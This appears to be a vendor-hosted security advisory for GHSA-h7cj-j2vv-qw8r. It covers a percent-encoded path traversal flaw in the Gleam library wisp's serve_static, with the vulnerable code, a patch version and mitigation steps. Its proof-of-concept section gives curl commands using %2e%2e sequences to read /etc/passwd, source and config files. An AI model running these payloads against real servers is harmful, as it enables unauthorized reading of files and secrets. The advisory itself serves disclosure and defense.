GHSA-h7cj-j2vv-qw8r is a high-severity (CVSS 7.5) Path Traversal vulnerability in wisp. A fix is available for wisp — see the affected versions and patch details below.
Wisp Vulnerable to Path Traversal
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-h7cj-j2vv-qw8r.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-h7cj-j2vv-qw8r plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,238 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
wispReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Hex packages — download data is not available via public APIs for these ecosystems.
Description
Summary
wisp.serve_static is vulnerable to arbitrary file read via percent-encoded path traversal (%2e%2e). The directory traversal sanitization runs before percent-decoding, allowing encoded .. sequences to bypass the filter. An unauthenticated attacker can read any file readable by the application process in a single HTTP request.
Details
In src/wisp.gleam, serve_static processes the request path in this order:
let path =
path
|> string.drop_start(string.length(prefix))
|> string.replace(each: "..", with: "") // Step 1: sanitize
|> filepath.join(directory, _)
let path = case uri.percent_decode(path) { // Step 2: decode
Ok(p) -> p
Error(_) -> path
}
Sanitization (step 1) strips literal .. but runs before percent-decoding (step 2). The encoded sequence %2e%2e passes through string.replace unchanged, then uri.percent_decode converts it to .., which the OS resolves as directory traversal when the file is read.
PoC
Any application using wisp.serve_static:
fn handle_request(req: wisp.Request) -> wisp.Response {
use <- wisp.serve_static(req, under: "/static", from: priv_directory())
wisp.not_found()
}
Exploit (requires --path-as-is to prevent client-side normalization):
# Read /etc/passwd
curl -s --path-as-is \
"http://localhost:8080/static/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
# Read project source code
curl -s --path-as-is \
"http://localhost:8080/static/%2e%2e/%2e%2e/src/app.gleam"
# Read project config
curl -s --path-as-is \
"http://localhost:8080/static/%2e%2e/%2e%2e/gleam.toml"
Impact
This is a path traversal / arbitrary file read vulnerability (CWE-22). Any application using wisp.serve_static is affected. An unauthenticated attacker can read:
- Application source code
- Configuration and secrets in
priv/ .envfiles,secret_key_base, private keys- System files (
/etc/passwd,/etc/shadowif permissions allow)
Workaround
Copy the fixed implementation to your codebase and replace references to wisp.serve_static with this version in your codebase.
References
- Commit that introduced the vulnerability: https://github.com/gleam-wisp/wisp/commit/129dcb1fe10ab1e676145d91477535e1c90ab550
- Patch Commit: https://github.com/gleam-wisp/wisp/commit/161118c431047f7ef1ff7cabfcc38981877fdd93
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 💧Hex | wisp | ≥ 2.1.1&&< 2.2.1 | 2.2.1mix deps.update wisp |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wisp, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update wisp to 2.2.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-h7cj-j2vv-qw8r is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-h7cj-j2vv-qw8r can be triaged on real exposure rather than presence alone.
Tailored to GHSA-h7cj-j2vv-qw8r. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-h7cj-j2vv-qw8r in your dependencies?
O3 Security finds GHSA-h7cj-j2vv-qw8r across Hex dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.